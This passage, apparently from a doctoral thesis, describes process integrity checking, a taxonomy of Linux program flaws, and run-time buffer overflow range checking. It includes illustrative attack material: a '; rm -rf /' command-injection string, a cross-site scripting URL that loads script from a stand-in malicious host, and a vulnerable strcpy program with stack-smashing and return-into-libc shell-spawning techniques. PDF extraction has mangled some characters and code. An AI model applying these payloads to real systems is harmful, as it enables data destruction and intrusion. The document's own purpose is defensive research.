the total error space. We show a relaxed solution in chapter 6.CHAPTER 3. PROCESS INTEGRITY CHECKING 30
3.1.3 Proving the thesis statement
The thesis statement is that \the proposed approach produces accurate solutions for many error
categories". We rephrase the statement as an equivalent, intersection of two statements as follows.
(Accuracy) A solution produced from the proposed approach is always accurate.
By denition 3.1, a correctness relation is free from false positives and negatives and thus always
accurate. By denition 3.2, a verication algorithm is logically equivalent to the corresponding
correctness relation and thus accurate. Therefore, a trustworthy implementation of a verication
algorithm is always accurate.
(Applicability) The proposed approach produces solutions for many error categories.
By axiom 3.1, a verication algorithm can be derived from a program context-independent cor-
rectness relation. By denition 3.2, a verication algorithm is implementable. Therefore, a solution
can be implemented from a program context-independent correctness relation. We prove this in
chapter 4, which shows the correctness relations from 11 error categories (out of total 33 categories),
or 33% of total error categories. We show two proof-of-concept implementations in chapters 5 and 6.
3.2 The mechanism
The mechanism species how a solution can be implemented to facilitate the implementation and
to ensure the compatibility of implemented solutions. It species how to map the abstract process
states to concrete data structures, and at which points in the program ow a solution can perform
integrity checking.
3.2.1 Obtaining process state information
The mechanism species that a solution may obtain necessary process state information from the
operating system kernel, the C compiler, and/or system library functions. Such information isCHAPTER 3. PROCESS INTEGRITY CHECKING 31
retained in the executable le (if it is static information) or the process address space (if dynamic),
by instrumenting the OS kernel, the C compiler, and dynamically linked system library functions.
Specically:
1. The C compiler can see the source-level information not available in executable les it produces,
which can be used for the process integrity checking.
2. Dynamically linked, system library functions are usually designed as stateless, to make them
fast, simple, and reentrant. Saving the process state changes made by them enables us to trace
the state information and to make informed decision when checking the process integrity.
3. The operating system kernel enables us to access kernel space data, and to perform actions
atomically.
3.2.2 Compatibility of solutions
To ensure that solutions are compatible with each other, we require that each solution should be
compatible with the native computing system. It is the developers' responsibility to ensure that
each solution is independent and does not alter the existing structure of the program, the process,
and the computing system. Specically:
1. The C compiler may be instrumented to retain more information into the output binary les,
or to insert additional instructions. Such addition must not alter the structure of the original
address space. For example, an additional data may be placed in a binary le as a separate
data (or code) section, so that a security module that is aware of the additional section can
utilize it while native parts of the computing system are not aected by it.
2. Dynamically linked system library functions may be instrumented by \preloading" wrapper
functions 1, which perform additional actions and calls the original functions. The additional
1Resolving dynamically linked program symbols, such as a function name, depends on the order of loading dynamic
libraries. We use this feature as illustrated in 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Figure 3.2: Preloaded wrapper libraries.
actions include saving state changes and performing the integrity checking. The wrapper
functions must not alter the functionalities of the original functions or the data structures of
the corresponding library.
3. The operating system kernel may be instrumented by dynamically loadable kernel modules 2.
For example, kernel modules may intercept system calls to perform additional actions, without
altering the native functionality of the system calls. Instrumenting the kernel to store more
data is discouraged because the kernel memory is a limited resource. In any case, kernel
modules must not alter the data structures of the kernel.
Two kernel modules of two dierent solutions that intercept the same system call are simply
\stacked" and cause no problem. However, to reduce the overhead they can be integrated into a
single module. Likewise, wrapper functions (of dierent solutions) that intercept the same library
function can be either left stacked or integrated into one. For example, in gure 3.2 the symbol
strcpy in the program is resolved to the function in the rst wrapper library, from which functions
in other libraries can be located using dlsym(RTLD NEXT, "strcpy") 3. Assuming that the two
2Kernel programs that can be loaded at run time without recompiling the kernel. Loadable kernel modules are
supported by many Unix operating systems, including Linux, Solaris, and BSD.
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wrapper libraries are independent from each other, they can be loaded in any order as long as they
are loaded before the original library.
To contrast this with existing solutions, let us consider StackGuard [25], which places a canary
word between the return address and the local variables. It alters the stack layout, so any security
module that depends on the conventional structure of the stack cannot be used in conjunction with
StackGuard.
3.2.3 System library functions as checkpoints
Dynamically linked system library functions are not only the information sources but also the points
of process integrity checking.
By monitoring only the call sites of system library functions (which are shared by all processes),
the mechanism avoids program contextual dependency. This approach is sparse enough to produce
ecient and fast solutions, while still eective enough to detect most kinds of attacks before they
take eect.
System resources are accessed via system library functions and the underlying system calls. In
other words, system library functions access and modify critical process states. In the style of a
reference monitor concept, Janus [103] is based on the assumption that an application can do little
harm if its access to the underlying operating system is appropriately restricted. Sekar [90] also
pointed out that, regardless of how the attack is delivered, any damage to the target host is eected
via system calls made by a process running on the target host. Therefore, while intrusions may be
introduced at any program execution point, it would suce to check system library functions to
detect intrusions before they take eect.
3.3 Contributions and novelty
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1. We close the total error space into nite number of categories, and address each error category
in a modular fashion. It enables us to quantitatively assess the security of the computing
system (i.e., how many of the error categories the current system is safe from), and to produce
solutions that are compatible each other.
2. We identify a class of error characteristics (correctness relations), from which accurate solu-
tions can be derived. Ensuring the accuracy of each solution is important, because otherwise
assessing the security of the computing system is not feasible. For example, that such assess-
ment is not feasible with intrusion detection systems: they cover many kinds of aws but their
solutions are porous.
3.4 Advantages
1. Accuracy and eciency
Each solution is accurate and ecient, because the solution characteristic closely matches the
characteristic of the target error categories.
2. Transparency
Once deployed, solutions are completely transparent to users and application developers.
3. Compatibility
Solutions produced from a uniform mechanism are tightly coupled each other. By ensuring that
they are independent and do not alter the structure of the program, process, and the native
computing system, they are compatible and can be readily deployed or integrated. In contrast,
aggregate use of existing, independent solutions are unaware of each other and thus potentially
incompatible. Whereas solutions in our approach are functionally modular, functionalities of
existing, independent solutions may overlap and so do their overhead.CHAPTER 3. PROCESS INTEGRITY CHECKING 35
3.5 Limitations
1. Partial coverage of total error space
Our approach is applicable only to the error categories with program context-independent
correctness relations.
2. System library functions
Our approach monitors only the system library functions, thus is less powerful than solutions
that can monitor arbitrary execution points. However, as discussed above, it would suce to
check system library functions to detect intrusions before they take eect.
3. Direct invocation of system calls
Programs can directly invoke system calls, not through library functions, thus bypassing the
solutions produced from the mechanism. However, a direct invocation of a system call is
generally considered undesirable, and thus is rare in most programs.Chapter 4
Classication of program aws
Due to the limitations in existing taxonomies, as discussed in chapter 2, we developed our classi-
cation from program aws reported in Bugtraq mailing list during 1999 - 2003. The purpose is to
dene ner-grained categories, to be able to nd correctness relations (denition 3.1), and thus to
assess to which categories the proposed mechanism may be applicable.
4.1 Properties
1. Unidimensional classication
We selected categories based on the nature of the aws. Other selection criteria may also be
useful but not considered, because they are not essential for our purpose, and might unneces-
sarily complicate the process of classifying program aws.
2. Evolving categories
As with existing taxonomies, our classication is derived from a specic database of program
aws and therefore not orthogonal. However, deriving an orthogonal taxonomy is an unrealistic
goal, because programs are in principle amorphous (i.e., we may not clearly categorize all the
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program functionalities into some nite number of classes), and so are their aws.
Over time, new kinds of errors may be discovered, frequencies of programaws may be changed,
and some program aws may disappear. As a consequence, some categories may become
obsolete and new categories may be required as computing environment and programming
practice change. Therefore, the categories is not static but needs to evolve as the database
evolves.
3. Program aws in Linux environment
Our database of program aws consists of errors in Linux platform. There is a trade-o
between understanding each program aw deeply and covering many aws in a given time
frame. Understanding each aw in sucient detail is a prerequisite in deriving ne-grained
categories, so we limit the program aws as such.
Building up a database of program aws is an on-going process, and our intension is to analyze
each program aw in detail. We found that some of the reports of program aws do not
accurately describe the nature of the aws. They may be either incorrect or describe only
the symptoms (for example, a report of a buer overow may be in fact a result of an integer
overow). Vendor-released reports often do not include sucient detail, which is perhaps
intentional. Therefore it is always necessary to conrm the reported aws by studying the
original postings, other postings that have interpretations, or corresponding program source
les.
4. Fine-grained categories
We tried to derive ne-grained categories whenever possible. Most categories are recurring
in many programs and thus well-known to security community. They are largely due to the
inherent weaknesses in the programming language or the computing environment. An obvious
advantage of ne-grained categories is that it conveys more information about the programCHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 38
aws. The nature of a program aw, once classied, is therefore easier to understand.
5. Hierarchical classication
The hierarchy of categories of our taxonomy is deeper than that of other taxonomies. Advan-
tages of hierarchical classication are as follows.
(a) It is easy to see how categories are related to each other.
(b) Branching out a category into multiple subcategories naturally forces mutual exclusiveness
among the subcategories.
(c) It is easier to use, since the classication process (i.e., traversing down the hierarchy tree)
is a series of simpler decisions (i.e., fewer choices).
(d) The taxonomy evolves better because a branch in the hierarchy tree can be locally evolved,
independently from the rest.
4.2 The classicationC
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Program
errors
Input
errors
Authentication
errors
Authentication mechanism
Authentication policy
Validation
errors
Data
structural
errors
Data interpretation errors
Boundary
condition
errors
Integer overow
Buer overow
Incorrect
metadata
Format string error
Other incorrect metadata
Program
semantic
errors
Invalid
input
domain
Single
domain
Invalid le
File name
errors
File name collision
Directory connement failure
File name binding error
Multiple
domains
Invalid
command
Invalid shell command
Other invalid commands
Cross-site scripting
Other multiple domain errors
Functional
errors
Procedural
errors
Execution path disclosure
Critical
section
errors
Race
condition
Data
race
Value race
Binding
race
Temporary le race
Other binding race
General race
Atomicity error
Progress error
Data use
errors
Resource
allocation
errors
Unbound on-demand allocation
Deallocation error
Initialization error
Type misuse Signed/unsigned misuse
Data
domain
crossing
Exposing
private
domain
Domain exposing mechanism
Insecure
policy
Insecure le attribute setting
Insecure web servicing
Using
insecure
domain
Insecure
mechanism
Insecure
le
Under
insecure
directory
Temporary le
Conguration le
Program/library le
Other insecure les
Insecure environment variable
Table 4.1: The classi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Table 4.1 shows our classication, derived from 190 vulnerabilities in Redhat Linux programs
from Bugtraq mailing list [66] during 1999 - 2003. A program aw is classied by traversing down
the internal categories and selecting a leaf category.
The following two sections describe the selected categories and their correctness relations that we
have found. Our nding of those correctness relations is however not nal. As the categories evolve
and our understanding on them grows, we expect that we would be able to nd more correctness
relations.
Some of the correctness relations are directly derived from the nature of the corresponding
categories. Others are derived by \relaxing"some of the characteristics of the categories, where direct
derivation of correctness relation seemed infeasible. Multiple correctness relation for a category may
be possible.
4.2.1 Internal categories
Program errors
We divide a program into two logical parts; a part that authenticates and validates input data
received from outside the program, and a part that performs the intended functionality. The ratio-
nale is that we consider the input authentication/validation as not a generic part of the program
functionality. Program errors are divided respectively as Input errors and Functional errors.
Input errors
Input errors are divided into two classes, depending on whether the input should be allowed at all,
or if so then whether it has valid value, as Authentication errors and Validation errors.CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 41
Authentication errors
Authentication is a process of deducing which principal made the request, where principal may be
a person, computer or a group of principals [29].
Validation errors
Validation errors are divided into two classes, depending on whether the error depends only on the
properties of the structure of input data (and not on the program context), or it depends on program
context, as Data structural errors and Program semantic errors.
Data structural errors
They are input validation errors that are independent on the context of the awed program.
Boundary condition errors
Boundary condition errors occur when the storage used in the operation is not big enough. The
storage may not be big enough to express the result of the computation (e.g., assignment operation
or arithmetic operations).
Incorrect metadata
The structure of the data may be specied by the user. Such a metadata is either provided as a
separate input (e.g., format string in a format function such as printf()), or is embedded in the
input (e.g., Jpeg image les, network packets, and Java class les; structures of these objects are
not context-free). Since the metadata is also supplied by the user, it should be validated as well.
Program semantic errors
They are input validation errors that are dependent on the context of the awed program.CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 42
Invalid input domain
These errors indicate that the input does not belong to the input domain (the set of all the valid
input) of the function or the program.
Single domain errors
We use the term single domain when the function accepting the input is also the consumer of the
input (and therefore responsible for the validation).
Invalid le errors
Invalid le errors are divided into two classes, depending on whether the le name is invalid (File
name errors), or the le name is valid but is bound to an invalid le object.
File name errors
The input that species a le path name is invalid for the program context.
Multiple domain errors
Multiple domain errors occur when the function accepting the input may not be the only consumer
of the input, but also passes the input down to another function in the program. We distinguish this
from the single domain errors, because the input may have to be validated according to the multiple
context.
Invalid command errors
These errors indicate that the input may contain invalid command, where the function consuming
the input has interpretive power. They frequently occur when the program calls another program,
passing down the user-supplied input as a parameter, and the set of valid inputs of the callee is
greater than that of the caller (a domain mismatch between the caller and callee). Such callees areCHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 43
for example the shell, /bin/mail, and SQL server [6, 95]. The problem is that caller and callee do
not know each other's context, so verifying the input is not feasible by either side per se.
Functional errors
Functional errors are divided into the following two classes; the errors pertaining to the procedural
steps that programmers devised in implementing the program functionality (Procedural errors), and
the errors pertaining to the data structure used (such as variables and les) for the implementation
(Data use errors).
Procedural errors
These errors are aws in the procedural steps that programmersdevised in implementing the program
functionality.
Critical section errors
We use the term critical section as a block of instructions that have any of the following conditions.
1. Race condition
2. Atomicity requirement
Either all the instructions in the critical section must be executed or not at all.
3. Progress requirement
The instructions in the critical section must be completed within an expected, reasonable time
frame.
Race condition
Following Netzer and Miller's classication (section 2.3.10), we divide the race condition into data
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Data race
Data race violates the mutual exclusion requirement. Data races are divided into two classes,
depending on whether the race occurs in the object value (Value race), or in the binding between
an identier and an object (Binding race).
Binding race
Binding race occurs when the binding of a named object (the association between the identier and
the object) is changed by other processes during a critical section.
Example The following code is from lpr (a print spooler) [14, 41].
if(access(file)==0) {
if((fd=open(file))!=NULL) {
/* copy file to spool area */
}
The vulnerable lpr is a setuid program, thus can read any le. In order to check if the real user
is allowed to print the le, it calls access() before opening the le, which checks the real user id
instead of the eective user id. However, if the attacker can change the le name to be a link to the
password le after access() but before open(), then the password le will be opened instead.
Correctness relation 4.1 (Binding race). Let instructions i and j are in the same critical section
where i precedes j, i and j refer to the same le, and no other instructions between them modify the
binding. Then the binding of the le just after executing i is the same as that just before executing
j.
Data use errors
Data use errors are aws in the data structures used in implementing the program functionality.
Resource allocation errors
These errors are aws in allocating and deallocating system resources, such as memory or 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Type misuse
Type misuse occurs when an object is declared as or casted to an inappropriate data type.
Data domain crossing
Data domain refers to a set of program data, such as the data structure in memory, les in the disk,
and the like. Data domain crossing indicates that a program may access/modify domains of other
programs, resulting in violating information condentiality [10] or integrity [11].
Note that we overload the term domain for convenience. In the Invalid input domain errors, we
use the term domain in a mathematical sense (as used such in sets and functions).
Exposing private domain
Private domain refers to a set of program data that should be kept private to a program. Exposing
private domain means that information in the private domain can be disclosed or modied by other
programs.
Using insecure domain
Insecure domain refers to a set of program data that untrusted users can modify. Such domain
should be clearly identied and used with caution. Using insecure domain means that a program
accesses to an insecure domain.
4.2.2 Leaf categories
Authentication mechanism
The authentication mechanism is not strong enough to authenticate the input.
Authentication policy
The authentication policy used for a mechanism is not strong enough to authenticate the input.CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 46
Data interpretation errors
The program misuses the syntax or semantics of the data structure.
Example An error in parsing command-line arguments.
Integer overow
The result of integer operation exceeds the minimum/maximum value (the valid range of a signed
integer is typically  231  i  231   1, and the range of an unsigned integer is 0  i  232   1).
Integer overow often leads to more serious problem. For example, if the unsigned integer
operation inside malloc(size * sizeof(int)) overows, the size of the allocated memory may be
less than the expected size. This may cause a subsequent memory misuse, such as buer overow [15].
We do not consider oating point overows, because they tend to be just numerical errors and
did not cause security problem in our database of program aws.
Example A signed integer operation (231   1)  4 will overow and (incorrectly) return  4.
Correctness relation 4.2 (Integer overow 1 (relaxed)). Addition of two integers of same
sign does not change the sign.
Correctness relation 4.3 (Integer overow 2 (relaxed)). Addition of two integers of same
sign returns a value whose absolute value is greater than any of the two.
Correctness relation 4.4 (Integer overow 3 (relaxed)). Multiplication returns a positive
value if and only if two operands are of same sign.
Buer overow
Copy operation such as assignment statement or strcpy() crosses the boundary of the buer in
memory. Buer overow is described in detail in [4, 26, 48].CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 47
Example strcpy(buf, ``abcde'') will overwrite the memory area next to buf if the size of buf
is less than 6 (5 characters and a NULL character).
Correctness relation 4.5 (Buer overow). Input length  buer size.
Format string error
Format functions such as printf() has a mandatory string parameter (a format string) that species
the format of the rest of parameters. Format string error occurs when the format string does not
correctly species the rest of parameters. Format string should be validated because it may be
supplied by the user. Format string error is described in detail in [48, 64].
Example The format string in printf(``%d%s'') incorrectly species that there are integer and
a string parameters, which are however nonexistent.
Correctness relation 4.6 (Format string error 1). The conversion speciers (conversion letters
starting with '%') in the format string matches the types of actual parameters pushed onto the
stack [37].
Correctness relation 4.7 (Format string error 2 (relaxed)). The number of conversion spec-
iers in the format string is the same as the number of actual parameters, not counting the format
string itself (FormatGuard [23]).
Other incorrect metadata
This error refers to invalid metadata other than format string. For example, image les (such as
Jpeg les) or program codes (such as Java class les) contain matadata specifying their internal
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File name collision
The program fails to check that the le name (given as the input) exists, and may modify or destroy
the existing le.
Directory connement failure
The le path is outside the permitted directory for the program (and thus for the user).
Example A URL request to a web server should not point to a le outside the document root of
the web server.
Correctness relation 4.8 (Directory connement failure (relaxed)). The resolved input
path name does not contain ../ (since it can escape the conned directory).
File name binding error
The le name is valid, but is bound to an invalid le object.
Example The symbolic link attack, in which the attacker may create a symbolic link to a le to
which she does not have access. If a privileged program follows the symbolic link, it unwittingly
accesses the le of the attacker's choosing.
Correctness relation 4.9 (File name binding error (relaxed)). Privileged processes do not
follow symbolic links that are owned by unprivileged users.
Invalid shell command
The input contains invalid shell commands. This class of error occurs when the program uses the
shell or system(), using the user input as the argument for it.CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 49
Example A program sends an email using system() as follows. It rst constructs the command
string by concatenating ``/bin/mail'' and the user supplied email address, and then passes the
command string to system(). However, if the user supplied string includes other shell commands,
such as ``; rm -rf /'', it will also be executed (with the program's privilege). If the program is
SETUID root then it may be executed as root 1.
Correctness relation 4.10 (Invalid command errors (relaxed)). The input contains a single
command, where the caller intends to invoke only one command (this is applicable to the example
above and many other programs that are similarly vulnerable [76, 75, 86, 80, 73, 74]).
Other invalid commands
The input is an invalid command for other than shell. Invariant relationship 4.10 also applies to
this.
Cross-site scripting
A web server generates a HTML page using the input URL without properly validating it, and sends
to the client the generated HTML page with invalid contents.
The cross-site scripting vulnerability may enable an intruder to cause a legitimate web server
to send a page to a victim's web browser that contains malicious script or HTML of the intruder's
choosing. The malicious script runs with the privileges of a legitimate script originating from the
legitimate web server [19].
Example Table 4.2 shows An example of cross-site scripting vulnerability that exploits an HTML
error page generation mechanism [19]. Server generates and returns an error page (2) if the requested
URL (1) is not found. Note that the invalid URI (FILE.html) is embedded in the error page without
1The command executed does not necessarily have root privilege if system() calls bash version 2 (system() calls
/bin/sh -c, which may be a link to /bin/bash). This is because bash 2 drops SUID or SGID privileges on startup [82,
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Error page generation mechanism Exploiting error page generation mechanism
Client
request
(1) www.example.com/FILE.html (3) www.example.com/
<script SRC='http://www.badsite.com/
script.js'></script>
Server
reply
(2) <HTML> (4) <HTML>
404 page does not exist: 404 page does not exist:
FILE.html <script SRC='http://www.badsite.com/
script.js'></script>
.... ....
</HTML> </HTML>
Table 4.2: An example of cross-site scripting vulnerability.
validation. When a client visits a malicious site and follows a link in it, the client may be unwittingly
requesting a malicious URL (3). Upon receiving the request, the server uses the ordinary (vulnerable)
routines to generate an error page (4). The error page however contains Javascript, which will run
at the client side with the privilege/trust of the server.
Other multiple domain errors
These errors refer to multiple domain errors of other types.
Execution path disclosure
Condential information can be deduced by running the program with various input value and
analyzing the program behavior.
Example Timing cryptanalysis, which deduces encryption keys by analyzing the time a cryp-
tosystem (such as a RSA implementation) takes to respond to various inputs, where the vulnerable
cryptosystem takes dierent amounts of time to process dierent inputs [17, 42]. Timing analy-
sis may also disclose other sensitive information, such as whether or not supplied usernames are
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Value race
This error occurs when a race condition causes a shared data to be modied by another process
during a critical section.
Example Classical synchronization problems such as the bounded buer problem, the readers and
writers problem and the dining philosophers problem [92].
Correctness relation 4.11 (Value race). Let instructions i and j are in the same critical section
where i preceding j, i and j refer to the same object, and no other instructions between them
modify the object. Then the value of the object just after executing i is the same as that just before
executing j.
Temporary le race
Temporary le race occurs when the program uses stat() (or related library functions such as
tmpnam() and mktemp(3)) to assert that the le does not exist, and open(O CREAT) to cerate the
le. The race condition may arise because the assertion and opening the le are not atomic [24].
The correctness relation 4.1 applies to this error. The following correctness relation may also be
possible.
Correctness relation 4.12 (Temporary le race). A open() immediately following a failed
stat() (both referring to the same le name) must create a new le and not refer to an existing
one (RaceGuard [24]).
Other binding race
This error refers to data binding race other than Temporary le race. correctness relation 4.1 applies
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General race
A sequence of instructions by multiple processes is invalid for the program semantics.
Unlike data race, the integrity of a shared data cannot be dened without knowing the program
context because the shared data may be modied cooperatively by multiple processes or threads.
Atomicity error
An atomicity requirement in the program is not met, thereby leaving partially modied program
states at the end of the critical section.
Such an atomicity requirement under the critical section (or the critical section itself) may be
implicit and thus may be overlooked by programmers.
Example A sequence of instructions that update a bank account must be atomic.
Progress error
A progress requirement in the program is not met, so the critical section takes arbitrary time.
Like atomicity errors, such a progress requirement under the critical section may be implicit and
may be overlooked.
Example TCP connection establishment involves a series of communication between the client
and the server, and if either side fails to respond for a specied time then the connection times out
and the program exits.
Unbound on-demand allocation
The program allocates a resource on-demand without considering the limit of the resource or the
fairness of allocation among other processes.CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 53
Example A vulnerable program walks the subdirectories of /tmp by spawning a new process for
each subdirectory, instead of walking the subdirectories by single process. This may exhaust process
table if /tmp is deeply nested [87].
Deallocation error
The program deallocates the resource incompletely or make other errors in the deallocation.
Example
1. Memory leak.
2. Exhaustion of system resources such as message queue, semaphore, or shared memory.
3. Double free().
Initialization error
The program fails to initialize a data structure before use, or incorrectly initializes it.
Signed/unsigned misuse
The program improperly use signed/unsigned integer, or mix them in an operation.
Example (1 2) results in  1 in a signed integer operation, but is interpreted as 232 1 if treated
as an unsigned integer.
Domain exposing mechanism
Example Call-by-reference parameter passing in Perl gives the callee the the capability of modi-
fying the original data belonging to the caller.
Insecure le attribute setting
File access control bits are too broad, allowing other programs and users to access private domain.CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 54
Insecure web servicing
A web server provides insecure web service for some reason (e.g., for convenience or due to failing
to remove test pages after installing the server).
Example A web server discloses sensitive server information on specic URL request to help
administrating the server remotely.
Temporary le
The program creates or accesses a temporary le in an insecure directory, such as /tmp or the current
directory.
Conguration le
The program creates or accesses a conguration le in an insecure directory.
Program/library le
The program creates or accesses an executable le or a library le in an insecure directory.
Other insecure les
The program creates or accesses a le other than the three above in an insecure directory.
Insecure environment variable
Environment variables are set by the user, so they cannot be in principle trusted if the program runs
with another user's privilege (setuid program). However, current setuid programs usually do access
environment variables, in which case the problem is program context dependent.
Correctness relation 4.13 (Insecure environment variable). A setuid program only accesses
a separate set of safe environment variables dened by a trusted user (such as root).CHAPTER 4. CLASSIFICATION OF PROGRAM FLAWS 55
Type of correct-
ness relation
Number of cate-
gories
Percentage of
categories
Number of
aws in these
categories
Percentage of
aws in these
categories
Concrete 6 18% 87 46%
Relaxed 5 15% 20 10%
Combined 11 33% 107 56%
Table 4.3: Distribution of correctness relations and program aws.
4.3 Distribution of program aws
Figure 4.1 shows the distribution of the 190 program aws in the 33 categories. We identied
11 correctness relations, among which 6 are concrete and 5 are relaxed. Categories with concrete
correctness relation include Buer overow, Format string error, Value race, Temporary le race,
Other binding race, and Insecure environment variable. Categories with relaxed correctness rela-
tion include Integer overow, Directory connement failure, File name binding error, Invalid shell
command, and Other invalid commands.
The 11 categories that have correctness relation account for 107 program aws. Among them, 6
concrete categories account for 87 aws, and 5 relaxed categories account for 20 aws. In particular,
Buer overow account for 55 aws and race condition on the le name space (Temporary le race
and Other binding race) account for 16 aws, solutions for which are implemented in chapter 5
and 6. The results are summarized in table 4.3 and 4.4.
The distribution of program aws shows that the two solutions presented in chapter 5 and 6,
derived from the process integrity checking mechanism, can protect 38.5% of total program aws.
The distribution also suggests that our mechanism may be applied to 33% of the total categories,
or 56% of total program aws. We think that as we gain more experience on the classication and
its categories we may be able to identify more correctness relations.C
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.Chapter 5
Buer overow vulnerability
Programswritten in C are inherently vulnerable to buer overowattacks. C allows primitive pointer
manipulation, which is usually necessary for array operation because C has no rst-class array type.
For example, functions are passed the pointers as array parameters, such as strcpy(dest, src).
It is the programmers'responsibility to explicitly bounds check the buer before calling strcpy().
However, it is often neglected or not feasible since arrays are often passed without any hint of their
sizes. Many copy functions in the C library such as strcpy() are vulnerable this way, making them
popular points of attack.
In this chapter we present a solution that range checks the buers at run time [47]. We extend
the GNU C compiler to augment executable les with size information of program variables at
compile time, and range check the copy functions at run time using the size information (invariant
relationship 4.5).
Although the denition of the correctness relation for the buer overow is sound, it is possible
for a C program to be written intentionally to allow an overow, since C is not a strongly typed
language. This chapter also presents an extension to the base implementation that accommodates
such cases.
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5.1 Denition
Buer overow attacks overwrite data adjacent to the buer, which may lead to changing normal
program ow, among many possible exploits. Successful exploitation usually requires detailed infor-
mation about the target program and its run-time behavior. Such information can be discovered in
various ways as follows.
1. Documentation (manuals, technical reports, etc.)
2. Source code
3. Reading binary le or core dump using utility programs such as objdump and nm
4. Using operating system facilities such as /proc le system, ptrace and strace
5. Running programs in a debugger
Even dynamic information such as the return address on the stack or the address of a dynamically
loaded library function can be observed or guessed by running the program in a similar environment.
For example, the stack is likely to grow in the same pattern if the same input is given to the program.
A program usually maps its shared libraries in the same order at the same starting address, yielding
the same addresses.
5.2 Examples
5.2.1 Stack smashing attack
Stack smashing attack [4, 52] is the most well-known buer overow attack. The program in g-
ure 5.1 is vulnerable to this attack due to strcpy(). The attack overows the buer with an attack
string (delivered through argv[1]) consisting of a number of no-op's, the shellcode, and the ad-
dress of the buer. The shellcode is an array of character-coded assembly instructions, typicallyCHAPTER 5. BUFFER OVERFLOW VULNERABILITY 59
void func (char *string)
f
char buer[32];
strcpy(buer, string);
g
int main(int argc, char **argv)
func(argv[1]);
return 0;
g
Figure 5.1: A program vulnerable to buer overow.
addr of buffer
MSB         LSB
buffer
nop’s
shellcode
addr of
buffer
stack
grows down
address
grows up
nop’s
shellcode
nop’s
shellcode
argv[1]
return addr
saved frame ptr
addr of buffer
addr of buffer
Figure 5.2: The stack smashing attack.
execve(``/bin/sh)'') to spawn a shell, and the address of the buer is aligned to overwrite the
return address in the stack as illustrated in gure 5.2. The result is that when the function returns,
it will instead \return" to the shellcode and spawn a shell. If the process has a root privilege, then
it becomes a root shell.
The attack string may be delivered via command-line argument (as in this example), an envi-
ronment variable, or an I/O channel.
The attacker needs to know the address of the buer. Although the address of the buer on
the stack is statically unknown, we can discover it by, for example, running the vulnerable program
in a debugger. For the same set of input in a similar environment, the program is likely to followCHAPTER 5. BUFFER OVERFLOW VULNERABILITY 60
into system(); system()
pointer
buffer
saved frame ptr
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return addr addr of system
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& of "/bin/sh"
return addr
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before overflow
after overflow,
right before returning
right after returning
treats the stack this way into system()
stack
Figure 5.3: Return-into-libc exploit.
the same path and yield the same address for the buer. Even if not, the observed value would
still provide a good starting point for guessing the right value. The attack code is prepended with
no-op's so that a small margin of error in guessing the address is tolerable.
5.2.2 Return-into-libc
Return-into-libc exploitation technique [94, 106, 53] also alter the return address, but the control
is directed to a C library function rather than to a shellcode. Figure 5.3 illustrates how to exploit
the vulnerable program in Figure 5.1 to \return" to system() and spawn a shell. The attack
code consists of the address of system() and a pointer to string ``/bin/sh'' (the \parameter" to
system()).
This exploit needs to know the exact address of the string ``/bin/sh'' and the address of
system(). The string ``/bin/sh'' can be supplied through a command-line argument or an envi-
ronment variable. In most cases where the C library is linked dynamically, nding the address of
system() requires nding out where in the address space the C library is mapped, and the oset to
system() within the C library [106]. The address where the C library is mapped can be found at
the /proc directory, or by running the program on a debugger. The oset to system() within theCHAPTER 5. BUFFER OVERFLOW VULNERABILITY 61
...
object variables VPTR
addr of virtual func 2
addr of virtual func 1
Figure 5.4: A conceptual view of VPTR and VTABLE of C++ object.
C library can be read from the C library object le.
5.2.3 C++ virtual function pointer
This technique by Rix [62] exploits a table of function pointers and a pointer to that table, VTABLE
and VPTR, respectively, created implicitly by the C++ compiler. VTABLE and VPTR are used to
implement virtual functions in C++ programs. Pointers to the virtual functions dened in a class
are stored in the VTABLE. An object instantiated from the class contains a VPTR (a pointer to
the VTABLE) through which it calls virtual functions. For example, a call to the virtual function
whose pointer is in the third entry of the VTABLE would be compiled as the code below.
call *(VPTR + 8)
Figure 5.4 illustrates a conceptual view of an allocated object (with VPTR) and the VTABLE of
the corresponding class. The exploit in gure 5.5 overows a variable in the object in order to alter
the VPTR to make it point to the supplied bogus VTABLE. The bogus VTABLE contains pointers
to the shellcode so that when a virtual function is called the shellcode is executed.CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 62
*
buffer VPTR
VPTR shellcode * *
Figure 5.5: C++ virtual function pointer exploit.
5.3 Property
Range checking is usually not possible at compile time, in that the size of the data to be copied may
not be known until run time.
Range checking at run time would be feasible if we know the size of the buer (i.e., type of the
variable). However, such information is not retained in binary les by current compilers, except as
optional debugging information in the symbol table.
Therefore, range checking would be feasible if we can instrument C compiler to retain the type
informations of program variables in binary les.
5.4 The verication algorithm
To enable range checking on buers at run time, we introduce an additional data structure called the
type table, which describes the types (thus sizes) of program variables, in the process address space.
Our type table data structure is similar to the type table in the Process Introspection Library [30].
Using the type table, copy operations perform range checking at run time as follows.
1. Obtain the buer size by type table lookup.
2. Compare the buer size with the size of the data to be copied.
3. proceed to the original operation if the buer size  data size; return range checking error if
not.CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 63
5.4.1 Implementation
Generating type table constructor function
Sizes of automatic variables (local variables and function parameters) and static variables (global
variables) are determined at compile time. To retain these information, we introduce an intermediary
step in the compilation that emits a type-table constructor function to each object le, which builds
the type table of the process at load time 1. We use the type-table constructor functions to defer
the type-table construction until the load time, to accommodate dynamically linked objects.
To generate type-table constructor functions, we intercept the cc1 (the GCC compiler core that
produces an assembly le from a source le) as illustrated in Figure 5.6. GCC prepossesses a source
le (removing comments and expanding macros, etc.) and yields an intermediary le (file1.i). We
\precompile" this intermediary le with the debugging option turned on, to produce an assembly
le. We then parse the stabs debugging statements in the resulting assembly le, to produce the
constructor function. The generated constructor function is then appended to the intermediary le,
which is then compiled and assembled normally to yield an object le. Figure 5.7 shows an example
of intermediary le after the constructor function is appended.
Type table structure
A type table, when constructed at load time, consists of an array of function entries. Each function
entry contains
1. Starting address of the function
2. Last address of the function
3. Pointer to an array of variable entries (variables declared by the function)
Each variable entry contains
1A constructor function, specied by attribute ((constructor)), runs before main() does; a C language ex-
tension by the GNU C compiler [97].CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 64
